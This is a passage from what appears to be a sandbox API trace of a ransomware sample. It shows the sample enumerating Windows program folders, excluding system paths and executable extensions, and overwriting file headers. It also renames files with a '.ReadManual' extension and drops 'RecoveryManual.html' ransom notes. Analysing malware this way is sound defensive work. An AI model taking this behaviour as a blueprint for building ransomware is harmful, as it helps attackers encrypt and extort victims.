lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37302496548) returned 1 [0252.356] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx")) returned 0x20 [0252.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.357] GetLastError () returned 0x5 [0252.357] GetNamedSecurityInfoW () returned 0x0 [0252.357] SetNamedSecurityInfoW () returned 0x0 [0252.357] SetNamedSecurityInfoW () returned 0x0 [0252.358] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.358] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16940) returned 1 [0252.359] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x422c, lpName=0x0) returned 0x184 [0252.359] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb6) returned 1 [0252.359] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.359] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.361] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.361] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x422c) returned 0x2f0000 [0252.361] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.361] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37303020006) returned 1 [0252.361] CloseHandle (hObject=0x184) returned 1 [0252.362] SetSecurityInfo () returned 0x5 [0252.362] SetSecurityInfo () returned 0x5 [0252.362] LocalFree (hMem=0x674d38) returned 0x0 [0252.362] CloseHandle (hObject=0x194) returned 1 [0252.362] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0252.362] lstrcpyW (in: lpString1=0x69b8fc, lpString2="FlipPage" | out: lpString1="FlipPage") returned="FlipPage" [0252.362] lstrcatW (in: lpString1="FlipPage", lpString2="\\" | out: lpString1="FlipPage\\") returned="FlipPage\\" [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\Windows\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\WINNT") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.362] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.363] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.363] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\") returned 57 [0252.363] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.364] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" [0252.364] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.365] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0252.365] lstrcpyW (in: lpString1=0x6ab90e, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0252.365] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0252.365] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.365] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.365] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.365] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.365] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.365] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.365] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.365] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" [0252.365] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.ReadManual.5A595725" [0252.365] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.ReadManual.5A595725") returned 94 [0252.365] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37303391057) returned 1 [0252.365] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0252.366] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.366] GetLastError () returned 0x5 [0252.366] GetNamedSecurityInfoW () returned 0x0 [0252.366] SetNamedSecurityInfoW () returned 0x0 [0252.367] SetNamedSecurityInfoW () returned 0x0 [0252.368] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.368] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0252.368] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0252.368] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0252.369] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.369] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.371] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.371] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0252.371] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.371] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37303979704) returned 1 [0252.371] CloseHandle (hObject=0x1a0) returned 1 [0252.371] SetSecurityInfo () returned 0x5 [0252.371] SetSecurityInfo () returned 0x5 [0252.371] LocalFree (hMem=0x674d38) returned 0x0 [0252.371] CloseHandle (hObject=0x184) returned 1 [0252.372] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\" [0252.372] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RecoveryManual.html" [0252.372] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.373] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.374] CloseHandle (hObject=0x184) returned 1 [0252.375] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0252.375] lstrcpyW (in: lpString1=0x6ab90e, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0252.375] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.375] StrStrIW (lpFirst="203x8subpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.375] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.375] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.375] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.375] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.375] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.375] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.375] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" [0252.375] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.ReadManual.5A595725" [0252.375] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.ReadManual.5A595725") returned 96 [0252.375] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37304403891) returned 1 [0252.375] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0252.376] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.376] GetLastError () returned 0x5 [0252.376] GetNamedSecurityInfoW () returned 0x0 [0252.376] SetNamedSecurityInfoW () returned 0x0 [0252.377] SetNamedSecurityInfoW () returned 0x0 [0252.378] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.378] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2820) returned 1 [0252.378] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb04, lpName=0x0) returned 0x1a0 [0252.378] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0252.379] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.379] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.381] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.381] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb04) returned 0x2f0000 [0252.381] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.381] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37304970637) returned 1 [0252.381] CloseHandle (hObject=0x1a0) returned 1 [0252.381] SetSecurityInfo () returned 0x5 [0252.381] SetSecurityInfo () returned 0x5 [0252.381] LocalFree (hMem=0x674d38) returned 0x0 [0252.381] CloseHandle (hObject=0x184) returned 1 [0252.382] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.382] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0252.382] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.382] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.382] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.382] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.382] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.382] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.382] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.382] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.382] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" [0252.382] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0252.382] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 109 [0252.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37305120013) returned 1 [0252.382] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0252.383] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.383] GetLastError () returned 0x5 [0252.383] GetNamedSecurityInfoW () returned 0x0 [0252.384] SetNamedSecurityInfoW () returned 0x0 [0252.384] SetNamedSecurityInfoW () returned 0x0 [0252.385] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.386] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0252.386] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0252.386] SetFileInformationByHandle (hFile=0x184, 